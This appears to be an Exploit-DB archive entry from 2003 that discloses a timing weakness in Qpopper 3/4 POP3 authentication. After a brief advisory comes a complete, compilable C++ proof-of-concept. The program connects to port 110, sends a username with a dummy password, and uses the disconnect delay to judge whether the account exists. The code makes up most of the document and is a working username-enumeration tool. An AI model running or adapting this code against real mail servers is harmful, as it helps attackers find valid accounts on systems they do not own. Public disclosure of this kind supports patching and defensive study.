Qpopper 3/4 Username Information Disclosure Weakness

2003-03-11T00:00:00
ID EDB-ID:22361
Type exploitdb
Reporter plasmahh
Modified 2003-03-11T00:00:00

Description

Qpopper 3/4 Username Information Disclosure Weakness. Remote exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/7110/info

An information disclosure weakness has been reported for Qpopper when authenticating. The weakness is due to the fact that if a valid username is sent with a bad password, Qpopper will wait a small amount of time prior to disconnecting the client. If the username that is sent is invalid, Qpopper immediately disconnects the client.

A determined attacker can exploit this weakness to gather a list of valid usernames on a vulnerable system using Qpopper.

/**
 * $Author: plasmahh $
 * $Date: 2003/03/11 15:01:45 $
 *
 * This is a proof of concept code to check wheter a given username is valid on
 * a system running qpopper 4.0.4 and possibly other versions.
 *
 * Compile :
 *
 * g++ -Wall poptest.cpp -o poptest
 * or 
 * g++ -D_DEBUG_ poptest.cpp -o poptest
 * (to see whats going on) 
 *
 * Run :
 *
 * ./poptest <hostname> <username>
 *
 * e.g.
 *
 * ./poptest 127.0.0.1 root
 *
 * When a username is valid on the system, qpopper waits ~10 seconds before it
 * sends the sing off message to the user. If the username is not valid, it
 * will send it immediately after the password is entered.
 * If the username has a uid < 100 qpopper is even so nice to tell us.
 */

#include <iostream>
extern "C" {
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
}

using namespace std;

//#define _DEBUG_ 1

int main ( int argc, char * argv[])
{
  struct timeval tim1;
  struct timeval tim2;
  int sock;
  struct hostent *peerip;
  struct sockaddr_in peer;
  char * buf = new char[4096];


  if ( argc != 3 )
  {
      cerr << "Must give username and host" << endl;
      return -1;
  }

  
  sock = socket ( AF_INET, SOCK_STREAM, 0);

  peerip = gethostbyname ( argv[1] );

  if ( ! peerip ) 
  {
      cerr << "Hostname not valid" << endl;
      return -1;
  }
  cout << "Validating username " << argv[2] << " , please stand by.."  << endl;

  peer.sin_family = AF_INET;
  peer.sin_port = htons(110);
  peer.sin_addr = *((struct in_addr *) peerip->h_addr);
  memset(&(peer.sin_zero),0,8);



  if ( connect( sock, (sockaddr *) & peer, sizeof(struct sockaddr)) < 0)
  {
      cerr << "Could not connect !" << endl;
      return -1;
  } 

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif



  memset ( buf, 0, 4096 );
  snprintf ( buf, 4096, "USER %s\r\n", argv[2]);
  write ( sock, buf, strlen(buf) );
#ifdef _DEBUG_
  cout << "-> " << buf << endl;
#endif

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif

  write ( sock, "PASS xxx\r\n", 11);
#ifdef _DEBUG_
  cout << "-> PASS xxx" << endl;
#endif

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif

  if ( strstr( buf, "100") != NULL )
  {
      cout << "User has probably an UID < 100 and is a valid user." << endl;
      close(sock);
      return 0;
  }

  gettimeofday(&tim1,NULL);
  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif
  gettimeofday(&tim2,NULL);

  double s = (tim2.tv_sec - tim1.tv_sec);
  s += ((double)(tim2.tv_usec - tim1.tv_usec))/1000000.0;

  cout << "Disconnected after " << s << " seconds." << endl;

  if ( s > 1.0 )
  {
      cout << "User \"" << argv[2] << "\" is probably a valid user" << endl;
  }
  else
  {
      cout << "User \"" << argv[2] << "\" is probably NOT a valid user" << endl;
  }
  close(sock);
  return 0;

}